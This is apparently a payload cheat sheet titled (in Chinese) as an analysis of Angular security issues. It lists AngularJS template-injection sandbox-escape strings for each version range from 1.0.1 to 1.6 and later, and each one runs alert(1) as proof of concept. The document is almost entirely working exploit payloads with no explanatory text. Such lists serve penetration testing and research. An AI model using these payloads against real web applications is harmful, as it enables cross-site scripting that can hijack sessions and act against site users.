Angular使用及其安全问题分析

1.0.1-1.1.5

{{constructor.constructor('alert(1)')()}}

1.2.0-1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].

getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2-1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6-1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).

value,0,'alert(1)')()}}

1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].

sort(toString.constructor);}}

1.2.24-1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex)

alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1-1.3.2

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval('x=alert(1)//');
}}

1.3.3-1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    $eval('x=alert(1)//');
}}

1.3.20

 {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.3.0 - 1.5.8

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

1.5.9 - 1.5.11

1. {{

2. c=''.sub.call;b=''.sub.bind;a=''.sub.apply;

3.     c.$apply=$apply;c.$eval=b;op=$root.$$phase;

4.     $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;

5.     C=c.$apply(c);$root.$$phase=op;$root.$digest=od;

6.     B=C(b,c,b);$evalAsync("

7.     astNode=pop();astNode.type='UnaryExpression';

8.     astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';

9.     astNode.argument={type:'Identifier',name:'foo'};

10.     ");

11.     m1=B($$asyncQueue.pop().expression,null,$root);

12.     m2=B(C,null,m1);[].push.apply=m2;a=''.sub;

13.     $eval('a(b.c)');[].push.apply=a;

14. }}

>=1.6.0

{{constructor.constructor('alert(1)')()}}